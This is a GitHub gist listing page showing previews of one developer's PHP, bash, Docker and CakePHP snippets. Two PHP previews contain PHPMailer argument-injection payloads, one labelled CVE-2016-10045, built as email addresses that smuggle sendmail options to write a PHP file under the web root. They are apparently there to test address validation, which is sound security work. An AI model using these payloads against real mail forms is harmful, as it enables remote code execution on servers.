Skip to content

Instantly share code, notes, and snippets.

View ichikaway's full-sized avatar

Yasushi Ichikawa (ichikaway) ichikaway

View GitHub Profile
@ichikaway
ichikaway / gist:2768801
Created May 22, 2012 12:37
RecursiveIteratorIterator example
<?php
Class TableRII extends RecursiveIteratorIterator {
private $parentKey = null;
public function beginIteration() {
echo '<table border=1><tr><th>key</th><th>value</th></tr>';
}
public function endIteration() {
echo '</table>';
@ichikaway
ichikaway / example.pac
Created November 12, 2020 09:19
VAddy-pac-example
function FindProxyForURL(url, host)
{
if(shExpMatch(host,"www.example.com"))
{return "PROXY 54.92.84.100:28888";}
else
return "DIRECT";
}
@ichikaway
ichikaway / bash-parser-sample-with-docker.md
Created October 11, 2018 03:10
bash parser sample with docker

bash parser sample with docker

https://github.com/vorpaljs/bash-parser

docker pull node:8.9.4-alpine
docker run -d --name node-alpine -it node:8.9.4-alpine
docker exec -it node-alpine /bin/sh

vi sample.js

@ichikaway
ichikaway / lfs.md
Last active January 1, 2018 14:29
Linux From Scratch Ubuntu16 step

package install

sudo apt-get install gawk
sudo apt-get install bison
sudo apt-get install make
sudo apt-get install gcc
sudo apt-get install bzip2
sudo apt-get install g++
sudo apt-get install texinfo

<?php
$address = "aaa bb cc";
echo escapeshellarg($address) . PHP_EOL; // 'aaa bb cc'
echo "----------------\n";
//CVE-2016-10045
$address = "\"attacker\' -oQ/tmp/ -X/tmp/phpmailertest/phpcode.php some\"@email.com";
<?php
require 'PHPMailerAutoload.php';
//$address = 'ichikaway@gmail.com';
$address = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
var_dump(PHPMailer::validateAddress($address));
@ichikaway
ichikaway / bash example
Last active August 2, 2016 07:43
bash_example.sh
ctl + a : 行頭移動
ctl + e : 行末移動
esc + b : 一単語左へ移動
esc + f : 一単語右へ移動
ctl + u : カーソルから左をすべて削除
ctl + k : カーソルから右をすべて削除
ctl + d : カーソル文字削除
ctl + h : カーソル前の文字削除
@ichikaway
ichikaway / SampleCmd.php
Created June 21, 2016 05:45
app/Console/Commands/SampleCmd.php
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
class SampleCmd extends Command
{
/**
* The name and signature of the console command.
@ichikaway
ichikaway / gist:3300279
Created August 9, 2012 01:58
cache router url
diff --git a/lib/Cake/Routing/Router.php b/lib/Cake/Routing/Router.php
index cb28f6e..c6a38c3 100644
--- a/lib/Cake/Routing/Router.php
+++ b/lib/Cake/Routing/Router.php
@@ -810,23 +810,30 @@ class Router {
$url += array('controller' => $params['controller'], 'plugin' => $params['plugin']);
- $match = false;
+ $cacheKey = 'Router-' . sha1(serialize($url));
@ichikaway
ichikaway / gist:3291004
Created August 8, 2012 00:48
put current branch name on input cursor(need bash version 4)
bind -x '"\C-o": READLINE_LINE="${READLINE_LINE:0:$READLINE_POINT}
`git symbolic-ref HEAD | cut -d/ -f 3` ${READLINE_LINE:${READLINE_POINT}}"'